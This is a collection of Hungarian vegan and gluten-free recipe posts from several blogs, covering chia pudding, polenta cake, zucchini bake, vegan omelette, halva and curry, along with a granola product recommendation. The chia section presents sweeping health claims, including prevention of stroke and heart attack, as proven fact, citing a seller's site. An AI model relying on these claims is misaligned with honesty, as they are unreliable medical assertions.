További tippek az elkészítéshez:
- Ha szeretjük a fűszeresebb ízt, tehetünk hozzá rozmaringot/oregánót vagy provanszi fűszer keveréket és/vagy apróra vágott fokhagymát és/vagy lila hagymát.
- Ha van kenyérsütőnk, a tésztát abban is elkészíthetjük dagasztás funkciót használva.
- Ha olajban eltett aszalt paradicsomot használunk, a lecsepegett olajat a tésztához keverhetjük, ez esetben kevesebb vagy semmennyi margarin vagy kókusz zsírt kell a tésztához tenni.
- Ha szeretjük és van a konyhánkban, sörélesztő pelyhet is keverhetünk a tésztába vagy megszórhatjuk vele a kuglóf tetejét a sütés félidejében.
- Ha pástétomot is szeretnénk hozzá készíteni, kipróbálhatjuk a Provanszi olíva-pástétomot vagy a Napraforgós cukkini pástétomomot vagy az Aszalt paradicsomos pestót vagy a szintén finom Bazsalikomos pestót.
Erdei gyümölcsös-joghurtos chia puding
Ha reggelire készíted, szuper reggelid lesz szuper hozzávalókkal. Ha desszertként tálalod, akkor pedig szuper édesség. Szuperlativuszokban beszélve elmondhatom, hogy szuper, ha chia pudingot fogyasztasz, mert a chia mag egészséges élelmiszer, gazdag ásványi anyagokban, mint a vas, foszfor, magnézium, réz és különösen a kalcium, Magas rosttartalménak köszönhetően lassítja a szervezetben a szénhidrátok lebontását és cukorrá alakítását, így megelőzi az étkezések utáni hirtelen vércukorszint-emelkedést. Ezáltal lelassítja és megelőzi a diabétesz okozta gyulladások kialakulását is.
A chia magban található rost igen nagy mennyiségű folyadékot képest megkötni, zselésedik, és a gyomorban térfogata megnő, ezáltal fogyasztója hosszabb ideig érzi magát jóllakottnak, így kevesebb kalóriát fogyaszt. A chia magban megtalálható fehérjék szintén segítenek az étel utáni sóvárgás leküzdésében és az evés mérséklésében, így az kiváló összetevője bármilyen diétás étrendnek.
A chia magról bebizonyították, hogy képes csökkenteni a vérben a trigliceridek és az LDL vagy rossz koleszterin szintjét, miközben növeli a HDL avagy jó koleszterinét. Segít kontroll alatt tartani a vérnyomást, csökkenti az inzulinrezisztenciát és az artériás gyulladásokat, hozzájárul a hasi elhízás csökkentéséhez, mindezek által védi a szív egészségét, megelőzi az agyvérzést és a szívrohamot. (forrás chia-mag.com)
A recept
Hozzávalók:
- 20 dkg erdei gyümölcs mix
- 250 ml növényi joghurt
- 3 ek chiamag
- Datolya vagy agave szirup vagy valamilyen egészségesebb cukorpótló
- Díszítéshez kókuszreszelék vagy kókuszcsipsz
Elkészítés:
Egy evőkanálnyi gyümölcsöt félre teszünk, a többit botmixerrel vagy turmixgéppel összedolgozzuk, hozzáadjuk a joghurtot. Amikor kész a gyümölcsös joghurt, hozzákeverünk kb. 2 ek szirupot (édes íz igénye szerint többet is lehet) és a chiamagot. Jól átkeverjük, majd hűtőbe tesszük, hogy megszívja magát nedvességgel.
Tálalás előtt kókuszcsipsszel és pár szem erdei gyümölccsel díszítjük.
Gyors, gluténmentes, tejmentes, karobos puliszkasüti
2018. november 1. Élj harmóniában
Tegnap a Gyertyafényes Halloween Jógára készítettem ezt az édességet. Lévén jött olyan is a jógagyakorlásra, akiről tudtam, hogy gluténmentesen táplálkozik, ezért szem előtt tartva Judit táplálkozását választottam olyan alapanyagot, hogy ő is tudjon enni belőle:) A kukoricadarát, (puliszka, polenta) szeretem, mert gyorsan elkészül, tápláló és különböző élelmiszer allergia, érzékenység esetén is fogyasztható. Korábban jó néhány receptet is tettem már ki pl. sós puliszkás receptet a blogra, egy párolt zöldséges receptet itt olvashatsz, és itt találsz egy polenta pizza receptet. Ezt az édes puliszkasüti alapreceptet gyakran szoktam készíteni, de a kókusztejszínes változat most új kísérlet volt:) A karob a kakaó egészségesebb változata. Ha nincs otthon karob nyugodtan helyettesítheted kakaóval is. Hozzávalók 1 csésze kukoricadara 4 csésze víz 1 csésze kókuszreszelék 4 púpos ek. karob 1/2 csésze teljes értékű nádcukor (ízlés szerint változtatható mennyiség) vanília 1 doboz kókusztejszín Vegyszermentes (bio) alapanyagokat használj! A vizet egy nagy edénybe forrald fel. Tedd hozzá a kókuszt, vaníliát, karobot. M ajd vedd kis lángra és keverd bele a kukoricadarát. Keverd folyamatosan - habverőt is használhatsz az elején, azzal könnyebb csomómentesre eldolgozni a kukoricadarát.Amikor már csomómentes keverd hozzá a kókusztejszínt. Kb. 5 perc után már fakanállal is könnyedén tudod keverni. Addig főzd amíg meg nem fő, szépen elválik majd az edény falától. Egy tepsibe öntsd bele a masszát. Várd meg amíg kihűl és utána szépen szeleted fel. Én mielőtt kihűlne kókusszal vastagon megszórom a tetejét, hogy szép legyen. Jó étvágyat kívánok:) szeretettel Kati
Rakott cukkini (vegán, gluténmentes)
Ezt a receptet már többször elkészítettem. Emlkészem, volt egy év, amikor anyósom kertjében rengeteg tök és cukkini termett, így azokat különböző módon a fagyasztóba is tároltam télre. Például felkarikázva tettem el, s azokból simán elkészítettem egy ilyen vagy hasonló rakott cukkinit. Legutóbb friss cukkinit használtam hozzá. Még sok helyen terem a kertekben cukkini, sokaknak talán nincs ötlete, hogyan használják fel. Íme egy vegán, gluténmentes ötlet rá, amit nem tart sokáig elkészíteni és akár felmelegítve is finom.
A recept
Hozzávalók:
- 3-4 db cukkini
- 1 csomag szójagranulátum (200 gr)
- 1 hagyma
- 15 dkg főtt hajdina (barna rizs is lehet)
- piros fűszerpaprika
- őrölt kömény
- ételízesítő
- fokhagyma
- víz
- só
- kókuszzsír
- esetleg szója joghurt
Elkészítés:
A cukkinik felét felszeleteljük csíkokba, felét pedig karikákba. A szeleteket megsózzuk.
A szójagranulátumot meleg ételízesítős vízbe áztatjuk kb. 30-60 percig. A hagymát megpucoljuk, felaprítjuk, kevés vízen megpároljuk. A leszűrt, kinyomkodott szójagranulátumot rárakjuk. Összekeverjük. Piros fűszerpaprikával meghintjük. Kb. 1 dl vizet öntünk rá, tovább főzzük, pároljuk. Amikor rottyant egyet, adunk hozzá őrölt köményt, nagyon apróra vágott fokhagymát, ha szükséges, egy kevés ételízesítőt, esetleg őrölt fekete borsot vagy borsikafűt. Jól átkeverjük. Fedő alatt tartjuk, míg a többi szükséges hozzávalót elkészítjük.
A hajdinát vagy rizst alaposan megmossuk majd puhára főzzük.
Fogunk egy tepsit, kókuszzsírral vékonyan kikenjük. Hosszúkás cukkiniszeleteket fektetünk a tepsi aljára. Rásimítunk főtt hajdinát, majd a szójás masszával befedjük őket, majd ismét hosszúkás cukkinivel befedjük a szóját. Erre újabb hajdinát és szójás pörköltalapot teszünk. A tetejét pedig a karikára vágott cukkinikkel szép sorjában befedjük. Sütőben addig sütjük, míg a cukkinikarikák enyhén megpirulnak.
Sütés előtt a cukkini tetejét megkenhetjük ételízesítővel kikevert szójajoghurttal is. (Vagy reszelt vegán sajttal is meghinthetjük. Vagy joghurttal és sajttal is megkenhetjük.)
Hamis omlett (vegán)
Ha így készíted az omlettet, a koleszterinszinted is jobb lesz! Sokan gondolják, a vegán életmódra áttérés által nélkülözni kell a sajtot, a bundáskenyeret és az omlettet is. Íme az újabb bizonyíték, hogy ez nem igaz. Egy vegán fesztiválon járva még régebben, az egyik előadás keretén belül az előadó egy hatalmas lapos edényben készített omlettet. Igaz, tett bele mindenféle zöldséget, én ugyanezt a kísérletet kisebb mennyiségben, először csak úgy natúr, zöldségek nélkül készítettem el. Azóta ezt az alapot már használtam más ételek készítésénél is. Jó sláger a konyhámban úgy értve, ha hazaértünk és nincs semmi, amit ehetnénk, gyorsan elkészül. Közel annyi idő alatt, mint egy hagyományos, tojásos omlett, éppen csak tojás nélkül.
A recept
Hozzávalók:
- 5 ek sárgaborsó vagy csicseriborsó liszt (lehet vegyesen is)
- 2 ek zabpehely liszt
- 1 nagyobb csipetnyi kurkuma
- 1 nagyobb csipetnyi fekete só (nevében fekete, színében rózsaszíntől sötét barnáig jellemző)
- ételízesítő
- cukormentes növényi tej (készíthetünk zabtejet vagy dobozos növényi tejjel is dolgozhatunk), ha egyik sincs, vízzel is próbálhatjuk
- pár csepp olíva olaj vagy kókuszzsír
Elkészítés:
A liszteket összekeverjük egy tálba, hozzáadjuk a kurkumát, a feketesót, egy kevés ételízesítőt és annyi tejjel csomómentesre keverjük, hogy palacsinta sűrűségű tésztát kapjunk. Fogunk egy teflon sütőt, egy-két csepp olajat belecseppentünk, felmelegítjük a teflonsütőt és pl. merőkanállal beleteszünk egy adaggal. Idővel megfordítjuk.
Tovább lehet ízesíteni, ha zöldséget, például hagymát, gombát, paprikát, esetleg paradicsomot felaprítunk, egy kevés olajon vagy vízen megpuhítjuk, majd erre öntjük az elkészített hamis tojás-levet. Nem muszáj egybe megsütni, darabokra is vághatjuk sütés közben.
Kedvünk szerint más fűszereket is adhatunk hozzá, mint például borsikafű vagy fekete bors, fokhagyma. Bizonyos emberek szeretik a megsült omlettet őrölt piros paprikával megszórni, de hallottam arról is, hogy valakik ketchupot tesznek a tetejére. Ahány ház annyi ízvilág. :)
Tápiókás jégkrém
2018. augusztus 10. Kertkonyha
Mióta megvettem a spéci formákat hozzá, egyre többet kísérletezem itthon jégkrémekkel. Egyrészt őrült izgalmas dolog kigondolni, összerakni, kifagyasztani, majd végre kihúzni a formából. Másrészt finom, de nagyon! Tavaly is csináltam pár variációt, idén meg felfedeztem magamnak a tápiókát. Általában mindenféle pudingot csinálok belőle, de most jöjjön a fagyi! :)
Nem is tudom, miért vártam vele idáig, ha egyszer mindkettőt imádom. Biztos, mindennek eljön az ideje.
Szóval, itt a fúziós jégkrém, most éppen málnával, mert az a kedvencem. :)))
Persze te helyettesítheted más, könnyen törhető gyümölccsel is.
Hozzávalók 5 adaghoz:
- 20 g tápiókagyöngy
- 250 g rizstej
- bele 1 kk vaníliás cukor
- 1 csipet só
- 2 kk cukor (vagy annak megfelelő édesítő)
- 10 szem málna
- A tejbe szórd bele a tápiókát, a cukrokat, a sót, és lassú tűzön főzd 10 percig. Finoman jó kevergetni időnként, nehogy odakapjon, de vigyázz, próbáld ne nagyon törni a szemeket.
- A málnát mosd meg, és keverd a még forró pudingba. Kanállal kicsit nyomkod is szét a szemeket.
- Amikor már nem gőzölög annyira, töltsd formába, és tedd a mélyhűtőbe 2-3 órára.
Jó étvágyat!
Elkészítési idő: 10 perc
Ez egy vegán recept volt. :)
Hasonló recepteket ITT találsz még.
Ha itt feliratkozol, a legújabbakat mindig frissen kapod majd a postaládádba. :)
Nézd meg a legújabb Kertkonyha főzőtanfolyamokat:
Kezdő Vegán
Vegán MUST HAVE - a kötelező alapcsomag
Növényi Tejek és Tejtermékek I
Növényi Tejtermékek II
A Mindennapi Superfood
Kezdő Vegán Angol nyelven
The post Tápiókás jégkrém appeared first on Kertkonyha.
Gyorsan, könnyen elkészíthető barackos bögrés sütemény
2018. július 18. Élj harmóniában
Gyorsan, könnyen elkészíthető barackos bögrés süteményItt a sárgabarack szezon (jótékony hatásairól itt olvashatsz) és ilyenkor érdemes a sárgabarackból minnél többet fogyasztani, mindenféle formában. Nem tudom ki hogy van vele...én szeretek sütni főzni, de nem szeretek hosszasan ácsorogni a konyhában - főleg nyáron nem. Ez a süti tipikusan olyan nyári édesség, ami nagyon gyorsan elkészül és nagyon ízletes is. Bevetheted egy étkezés helyett (pl. reggelire) vagy akár vendégvárónak is kiváló egy könnyű vasárnapi ebéd után. Jól szállítható ezért viheted vendégségbe, kirándulásra vagy akár strandra is :) Hozzávalók 1 csomag sütőpor 3 bögre liszt (keverheted is teljes kiőrlésű liszttel, ahhoz több vízre lesz szükséged) 1 bögre barna nádcukor 10 dkg vaj (vegán változatban kókuszzsír) 1 tk. szódabikarbóna vanília (vagy vaníliás cukor) 1,5 bögre víz sárgabarack Vegyszermentes (bio) alapanyagokat használj:) Az előkészítéshez mosd meg a barackot, és szedd félbe, vagy negyedbe. A lisztet, sütőport, szódabikarbónát, cukrot és a vaníliát kever össze egy tálba. majd a vajat olvaszd meg és öntsd a keverékhez a vízzel együtt . Én erre sokszor azt a módszert használom, hogy a vizet forrón ráöntöm a vajra és a végén a vajas, vizes keverékkel öntöm fel:) Az egészet keverd jól el - figyeld a tészta állagát van amikor elég 1 bögre víz van, hogy sokkal több kell a liszt függvénye). Az így kapott masszát öntsd bele egy kivajazott, lisztezett tepsibe és a felvágott barackokat helyezd szépen a tetejére. kb. 180 fokon süsd addig, amíg jók átsül és szép arany színe lesz. (kb 30 perc)
Vegán székelykáposzta recept – krumplival és tofuval készítve
A savanyú káposztát drogériában venni enyhén szólva is furcsa, de hát istenem, pont ott kívántam meg, meglátva az ízléses csomagolását. Hirtelen felindulásból történő savanyú káposzta-vásárlás. Mivel fél kilót biztosan nem tudok belőle megenni csak úgy nyersen, hazaérve kitaláltam, hogy székelykáposzta lesz belőle. Hozzávalók: 500 g savanyú káposzta 1 nagy fej hagyma 1 közepes tv paprika 2 fokhagyma 1 evőkanál piros paprika 2-3 gerezd fokhagyma 1 blokk (füstölt) tofu 1 púpozott evőkanál pirosarany (vagy ennek megfelelő paprikakrém) 3 nagyobb krumpli 2 marék rizs vagy árpagyöngy/gersli folyékony füst VAGY füstölt paprika VAGY füstölt só só, bors, kömény, babérlevél A hagymát és a tv paprikát felkarikázva, pici vízzel, kevés sóval feltesszük párolódni alacsony lángon, lefedve. Közben a káposztát egy szűrőben átmossuk. Ha igazi, piacos, hordós és/vagy vecsési káposztád van, azt jobban ki kell mosni, mint a gyors érlelésű déemeset, mert intenzívebb az íze. A tofut felkockázzuk, megszórjuk sóval, borssal, a füstös ízű hozzávalóval, és egy icipici kókuszolajon, alacsony lángon pirítani kezdjük egy másik edényben/serpenyőben. Gyakran meg kell keverni, hogy minden oldala piruljon! Ha a hagyma és a paprika megpárolódott, mehet rá a pirospaprika és a krumpli (meghámozva, kis kockákra vágva), még egy kevés vízzel. Tovább pároljuk lefedve, alacsony lángon. A krumplitól még laktatóbb, kevésbé nehezen emészthető lesz. Pár perc múlva hozzáadjuk a káposztát, a pirosaranyat, 2 gerezd fokhagymát áttörve. Sózzuk ízlés szerint, és ha a káposztában alapból nem volt kömény és bors, hozzáadjuk ezeket is. Babérlevelet is tehetünk hozzá, illetve a füst ízű hozzávalót, esetemben ez füstölt só volt. Felöntjük annyi vízzel, hogy bőven ellepje, és tovább főzzük lefedve, kis lángon. 5 perc után hozzáadjuk a rizst (vagy gerslit), és pótoljuk az elfőtt vizet. Erre nagyon oda kell figyelni, mert a rizs sok vizet felvesz. Gyakran megkeverjük, ügyelve rá, nehogy letapadjon és leégjen. Közben a tofu megpirult, ezt is hozzáadjuk a káposztához, és az utolsó gerezd fokhagymát is. Szeretem két részletben beletenni a fokhagymát, mert így a főtt fokhagyma tompa íze is jelen van, és a friss fokhagyma intenzív íze is kiérződik kicsit. Vegán tejföllel tálalva a legfinomabb. The post Vegán székelykáposzta recept – krumplival és tofuval készítve appeared first on VegaNinja.
vörösbabos mogyorós keksz
Ez az édesség minden szempontból nyerő találat! Cukor, glutén, és laktózmentes. Fehérjében gazdag, ráadásul zöldségből van, de senki nem tudná megmondani róla. Ajánlani tudom mindenkinek, nem bánjátok meg. :) Hozzávalók - 1 konzerv vörösbab - 1tojás - 250ml kókusztej, vagy más folyadék - 100gr kókuszliszt - 65gr mogyoró - 40gr édesítőszer - fél csomag sütőpor Így készítsd - Szűrd le a babot - Tedd turmixgépbe, majd add hozzá a többi hozzávalót - Ha szép homogén masszát kaptál, kanalazd sütőpapírral bélelt tepsibe - Süsd ki 180fokos sütőben 20 perc alatt
Kókuszos gojis szelet
2018. június 15. Beautilicious
Nyári könnyű, finom, és természetesen cukor és gluténmentes édesség. Hozzávalók - 200gr tejföl - 2 tojás - 50gr édesítőszer - 50gr goji bogyó - 200gr kókuszreszelék - kis rumaroma Így készítsd - Válaszd ketté a tojásokat - Keverd fel a tojássárgáját az édesítőszerrel - Add hozzá a sárgájához a többi hozzávalót - Verd fel a tojásfehérjét - Forgasd a fehérjét a masszához - Öntsd formába ( én kenyérsütő formát használtam) - Süsd ki 170fokon 40-45perc alatt
Édesburgonyás-borsós curry
2018. június 10. Mindennapi ételeink
Hozzávalók: 1 fej vöröshagyma 2 ek. kókuszzsír 2 dl kókusztej 2 dkg friss gyömbér 1 ág korianderlevél 1 tk kurkuma 2 tk madras curry 0,5 kg édesburgonya 1 bögre borsó a kertből Elkészítés: A fűszereket a reszelt gyömbérrel együtt tegyük serpenyőbe, adjuk hozzá a kókuszolajat és kezdjük pirítani. 1-2 perc múlva öntsük fel a kókusztejjel, forraljuk fel. Adjuk hozzá a megpucolt és felkockázott édesburgonyának a 80%-át, a szintén meghámozott és felkockázott vöröshagymát. Majd amikor megpuhult az édesburgonya (5-10 perc), adjuk hozzá az előre megpárolt borsót és a maradék (kihagyott) összeturmixolt édesburgonyát. Tálaljuk friss korianderrel megszórva, (basmati, fekete szezámmal megszórt) rizzsel (vagy anélkül is) :-)
Hamis libamájpástétom – egyszerű, vegán szendvicskrém recept gombából, avagy vegán májkrém
Ezzel a pástétommal több húsevőt sikerült átverni, elhitték, hogy libamájpástétom. Még megrögzött gombautálóknak is ajánlom! Hozzávalók: 1 konzerv gomba (frissből is lehet) 1,5 ek. (kókusz)olaj 3 kis gerezd fokhagyma fél fej vöröshagyma só, bors, kömény, bazsalikom, majoránna, petrezselyem A konzerv gombát beáztatjuk fél órára, hogy enyhüljön a gombaíz, majd kinyomkodjuk belőle a vizet. A fokhagymát és a hagymát az olajban megdinszteljük fedő alatt, kis lángon. Az összes többi összetevővel összeturmixoljuk. Ha friss gombával szeretnénk dolgozni, akkor 30 deka csiperkét mossunk meg és vágjunk szeletekre, majd egy jó nagy edényben, sok vízben, sóval főzzük puhára. Ez után ugyanúgy használhatjuk, mint a konzerv gombát. Ezt már nem kell beáztatni természetesen. A főzővizet gombaleveshez felhasználhatjuk. Ínyenceknek karamellizált mazsolával tálalhatjuk a pástétomot, amit a következőképp lehet elkészíteni: A mazsolát beáztatom, 20 perc után vizet cserélek rajta. Közben kristálycukrot (vagy kókuszcukrot) hevítek kis lábasban, mikor már aranybarna és folyékony, teszek bele vaníliát és beleöntöm a mazsolát a vízzel együtt. Kevergetem, míg a karamellizált cukor feloldódik, és végül lefedve hagyom kihűlni. A kép illusztráció. Photo by Yakynina Anastasia on Unsplash The post Hamis libamájpástétom – egyszerű, vegán szendvicskrém recept gombából, avagy vegán májkrém appeared first on VegaNinja.
Reteklevél-krémleves recept – vegán
A legjobb, ha megbízható helyről szerzett levelekkel dolgozunk, bár én bepróbálkoztam egy sima, zöldségestől származó csomóval. Hozzávalók: 2 csomó retek levelei 2 szem krumpli 1 kis fej hagyma 1 doboz rizstejszín kókuszolaj só, bors 1 fokhagymagerezd natúr ételízesítő A retek leveleket átválogatom, a sérülteket, sárgákat kidobom, a többit jól megmosom, lecsepegtetem. A hagymát és burgonyát meghámozom, megmosom, a krumplit nagyobb kockákra, a hagymát apróra vágom. A hagymát aranybarnára dinsztelem a kókuszolajon, hozzáadom a burgonyát, a retekleveleket, sózom, borsozom, ételízesítőzöm, felöntöm vízzel és addig főzöm, míg a burgonya megpuhul. Rizstejszínnel összebotmixerezem. Levesbetétnek pár szelet friss retekkel tálalom, de magvakat is szórhatunk a tetejére. The post Reteklevél-krémleves recept – vegán appeared first on VegaNinja.
Datolyás-csokis vegán muffin
Hozzávalók 24 darabhoz:
2 csésze teljes kiőrlésű liszt
2 csésze finomliszt
3/4 csésze kókuszvirág cukor
2 tk szódabikarbóna
1 kk fahéj
1 zacskó foszfátmentes sütőpor
1 csésze mazsola
fél csésze magozott datolya aprítva
fél tábla étcsokoládé aprítva
3/4 csésze olaj
1 csésze növényi tej
1 csésze víz
[...] Bővebben!
epres tofukrém
Nagyon finom, nagyon egyszerű, és nagyon mentes. Egy igazán hűsítő cukor, glutén, és laktózmentes vegán finomság. Hozzávalók - 300gr tofu - 150gr eper - 100ml kókusztej - Ízlés szerint lehet kókuszreszelék, kakaópor, mandula, mogyoró ( ez csak rajtad múlik) Nincs más dolgod, mint ezeket összeturmixolni, hűtőbe tenni, és megenni. :D
Halva (halava) – ájurvédikus édesség
2018. április 20. Eszemiszom – Jóga Magazin
Tegnap jöttünk vissza a Tavaszi Jóga Elvonulásról. A jóga Elvonulásokon a jóga és meditációs programokon, kirándulásokon, előadásokon, pihenésen túl nagy szerepet kap a helyes táplálkozás. Mindig 100% bio alapanyagokból készült, friss, ájurvédikus menüket készítünk. A jógatáborozók, így néhány napig megtapasztalhatják az egészséges étkezés hatásait. Az elvonulások legkedveltebb desszertje a Halva. Már évek óta kéritek a receptet, most pótlom:)
A halva vagy halava egy tradicionális búzadarából készült indiai édesség, amely számos kultúrában és országban elterjedt. Általában ünnepeken, Szent napokon készítik és az Isteneknek ajánlják. Általában búzadarából, cukorból, ghíből készül különböző fűszerekkel, magvakkal és gyümölcsökkel.Nagyon sok változata van mint a mandula, kókusz, pl. egy répa halava receptet már korábban közreadtam a receptet itt olvashatod.
Ájurvédikus szempontból nagyon tápláló, melegítő, Vata kiegyenlítő étel, leginkább hűvös időjárásban, főleg télen ideális csemege. Az Ojas-t is táplálja, ami az immunrendszer és a testi-lelki harmónia alapja. A halva az édességvágyat jól kielégíti, miközben számos fontos ásványi anyag forrása, így egészséges szöveteket épít a testben.
Hozzávalók
20 dkg búzadara
3 ek ghí
10 dkg teljes értékű nádcukor
forró víz
1 db szegfűszeg
vanília, fahéj (tetszés szerint)
Vegyszermentes (bio) alapanyagokat használj!
Hevítsd fel a ghít egy magas falú edénybe, majd pirítsd aranybarnára benne a búzadarát, fűszereket és a nádcukrot állandó keverés mellett. Állandó keverés mellett öntsd fel a búzadarát négyszeres mennyiségű forróvízzel és keverd folyamatosan (kb 10 percig).
Forrón tálalva a legfinomabb:)
Padlizsán, paradicsom, csicseriborsó
2018. április 15. Vegasztrománia
Február elején, szülinapom alkalmából pár napra kikapcsoltam magam Pestből. Második kedvenc vidékemen, Pécs környékén töltöttem 3 napot, zenben és nyugalomban (házigazdáim erre valószínűleg mást mondanának három gyerekük energiája miatt, én mégis így éltem meg). Akkortájt még tanulási fázisban voltam a január elején megállapított érzékenységeimmel és a diétájával kapcsolatban, ezért volt bennem egy kérdőjel, hogy mit tudok majd enni. De az a helyzet, hogy ismét rádöbbentem, hogy hozzáállás kérdése az egész, és bár kicsit többet kell tervezni, minden megoldható. Első estémen a hosszúhetényi Almalomb étteremben gersli kását ettem sárgarépával és lenmaggal, vasárnap délelőtt pedig nagy kedvenc helyemen, a pécsi Reggeliben búcsúztam Buddha tállal és természetesen kávéval. A keretek között pedig otthon főztünk közös kedvencünk, Hugh Fearnley-Whittingstall egyik szakácskönyvéből. Padlizsán, paradicsom, csicseriborsó Hozzávalók: (4 fő részére) 2 közepes padlizsán (kb. 700 g) megtisztítva (a héja marad) 4 ek olívaolaj 1 fahéjrúd 350 g koktélparadicsom félbevágva 1/2 - 1 kk szárított chilipehely 400 g csicseriborsó konzerv átöblítve, lecsepegtetve 2 gerezd fokhagyma felaprítva 1 citrom lereszelt héja 1 marék menta- és bazsalikomlevél apróra tépkedve só, frissen őrölt bors A sütőt előmelegítettük 200°C-ra. A padlizsánt 2 cm-es kockákra vágtuk. Egy nagy sütőtálban 5-10 percig hevítjük az olajat a sütőben (ez azért jó, mert így nem szív annyi olajat magába a padlizsán, amit egyébként szokott). Óvatosan beletettük a padlizsánkockákat, majd megsóztuk, borsot tekertünk rá, hozzáadtuk a fahéjrudat és összekevertük. 30 percig sütöttük, félidőben megforgatva a padlizsánokat. Az idő leteltével hozzákevertük a paradicsomokat és a chilipelyhet is, majd 20 percig sütöttük. Hozzákevertük a csicseriborsót és a fokhagymát, és 10 percig sütöttük. Ezután kivettük a sütőből, hozzákevertük a citrom héját és 15 percig pihentettük. Hozzákevertük a zöldfűszereket, és melegen tálaltuk. Kókuszjoghurttal isteni, köretként pedig adhatunk hozzá rizst és/vagy pitát és kevert zöldsalátát (de ezek nélkül is isteni). Tipp: Ha véletlenül marad belőle, kevés vízzel (esetleg tahinivel) összeturmixolva pirítósra kenhető humusz-variációt kapunk.
Granolás muffin
2018. április 11. Mindennapi ételeink
Emlékeztek még a múltkor bemutatott granolákra? Most muffint készítettem fahéjas-gyümölcsös ízesítésűből. Hozzávalók: 1 bögre finomliszt 1 bögre teljes őrlésű liszt 1 és negyed bögre fahéjas-gyümölcsös granola 2 tk. lenmagpehely 2 tk. sütőpor 1 tk. szódabikarbóna 1 tk. fahéj 1/2 bögre eritrit 1 bögre reszelt alma 2 ek. napraforgó olaj 1/3 bögre vaníliás szójatej -- Opcionális: 2-3 ek. darált dió, kókusz, -- 1-1 ek. tetszés szerinti lekvár Elkészítés: Összekeverjük a száraz alapanyagokat, majd hozzáadjuk a nedveseket, összedolgozzuk, és szilkon muffinformákba simítjuk, úgy, hogy félig rakjuk a formákat, majd rakunk bele 1-1 tk. lekvárt, és erre helyezzük rá az újabb adag tésztát. 180 fokon kb. 20 perc alatt kisütjük. (En az aszalt dolgokat külön tettem bele, hogy ne kerüljön a tetejére, nem szereti kislányunk, ha a tetején van :-D).
Szejtánnal töltött, bundázott sós palacsinta
2018. április 8. Mindennapi ételeink
A palacsinta az az étel számomra, mint Gomboc Arturnak a csokoládé. Bármikor, bárhol, bármilyet (bizonyos kereteken belül bármilyet :-). Bármennyit nem. Ez a sós verzió húsvétkor készült, amikor volt időnk Fannival pepecselni, mert Gergőnket férjem kicsit lefoglalta addig. Hozzávalók: 0,5 liter buborékos víz kb 20 ek. liszt - fele teljes őrlésű, fele finomliszt 4 ek. napraforgó olaj 1 kisebb, apróra vágott lilahagyma 1 gerezd fokhagyma 0,5 apróra reszelt salátacukkini só, vegeta, borspótló fűszerkeverék - ízlés szerint -- 1 fej lilahagyma 1 db (30 dkg) füstölt, magyaros gabonagömböc 2 dl szójajoghurt kb 10 dkg növényi sajt -- tönkölyliszt, csicseriborsóliszt, víz, zsemlemorzsa (panír) Elkészítés: A palacsintatésztához mindent egy tálba öntünk (adagolunk), majd botmixerrel összedolgozzuk, ehhez reszeljük a cukkinit, fokhagymát, apróra vágjuk a hagymát és beleforgatjuk a tésztába. Egyenként kisütjük. Miközben sülnek a palacsinták, lereszeljük a gabonagömböcöt, felvágjuk a hagymát. A kisült palacsintákat megkenjük a szójaszósszal, rászórjuk a reszelt gabonagömböcöt, lilahagymát, sajttal megszórjuk és jobb, majd bal oldalt behajtjuk és úgy felcsavarjuk. A panírhoz egy tálba öntjük a tönkölylisztet, másikba a csicseriliszttel összekevert vizet, majd legvégül a morzsát. Ezt követően bepanírozzuk a palacsintákat és kókuszolajban kisütjük. (akár sütőben, akár teflonban). Salátával, tartárral fogyasztjuk.
A számunkra legfinomabb granola (ajánló)
2018. április 3. Mindennapi ételeink
Anyukaként szeretném, hogy mi (akik a példát mutatjuk) és a gyermekeink is egészségesen táplálkozzunk. Fanni pl 1 éves koráig szinte csak anyatejen élt, mellette napi 1, majd 2 alkalommal kóstolgatott szopizás után zöldséget, később gyümölcsöt és gabonákat, olajos magvakat, hüvelyeseket. 2 éves koráig nem evett cukrot, helyette aszalt gyümölcsöket. Most sem édesszájú, és bár itthon kb 10 éve nem használok cukrot, csak eritrit, nyírfacukor, stivia, illetve szirupok és termelői méz található a spájzunkban, a rokonságtól kap néha, ha találkozunk csokoládét, cukros dolgokat, de nem bír sokat megenni belőlük. Gergővel is hasonlóan tervezem az első életéve(ke)t. Egy héten kb három-négy alkalommal eszünk édes reggelit. Ez általában növényi tejben főtt kása (zab, köles) vagy tejberizs, tejbedara (zabbal dúsítva), és müzli, vagy gofri, palacsinta; mindez gyümölcsökkel, magokkal. A bolti müzlik (nem reggelizőpehelyre, hanem granolára gondolok) finomak, de sajnos csak pár vegán közülük, illetve rejtett cukorforrások. Ezért örültünk meg nagyon a Granoland reggeli granola készítményeinek. Szüleimnél kóstoltuk meg az egyik terméküket és azóta felvettük a kapcsolatot a gyártókkal. A múlt héten pedig ajándékcsomagunk érkezett tőlük. Nagyon korrekt, kedves családi vállalkozás, érdemes megnézni a honlapjukat: www.granoland.hu. A granoláik kézműves termékek, nem tartalmaznak cukrot, ízfokozót, tartósítószert; azonban teljesőrlésű zabot, olajos magokat, aszalványokat annál inkább. 4 ízben rendelhetők: 1. Csokis-vörös áfonyás 2. Kókuszos-mazsolás 3. Fahéjas gyümölcs 4. Kókuszos-csokis Összetevők: teljes kiőrlésű zabpehely, méz, kókuszzsír (nem hidrogénezett), dió, mandula, szezámmag, napraforgómag, lenmag, himalaya só + 1. aszalt vörös áfonya, étcsokoládé csepp (59.9%), cukrozatlan kakaópor 2. kókuszchips, kókuszreszelék, mazsola 3. aszalt vörös áfonya, mazsola, aszalt sárgabarack, fahéj 4. kókuszchips, kókuszreszelék, étcsokoládé csepp (59.9%), cukrozatlan kakaópor Nagyon zamatos, laktató finomságok, melyek teljes értékű reggeli. A másik termékcsoportjuk a granola szeletek, melyek szintén jóízű, laktató finomságok, egyet, ha megeszünk pár gyümölcs kíséretében, meg is van az egészséges, tápláló, finom reggelink. Ez nálunk azért nagy előny, mert férjem sokat utazik és így változatos ételeket tud magával vinni. Ezekből 3 fajta kapható: 1. Csokis-vörös áfonyás 2. Gyümölcsös 3. Csokis- kókuszos Összetevők: Teljes kiőrlésű zabpehely, méz, kókuszzsír (nem hidrogénezett), dió, rizsszirup (bio), kókuszreszelék, mandula, kakaóvaj, szezámmag, napraforgómag, himalaya só + 1. étcsokoládé csepp (59.9%), aszalt vörös áfonya, cukrozatlan kakaópor 2. aszalt vörös áfonya, aszalt sárgabarack, fahéj 3. étcsokoládé csepp (59.9%), kókuszchips, cukrozatlan kakaópor. Mindenkinek ajánljuk, hogy ismerkedjenek meg a Granoland ötletgazdáival és gyártoival, illetve a finom termékeikkel. Facebook: https://www.facebook.com/granolandgranola Honlap: www.granoland.hu
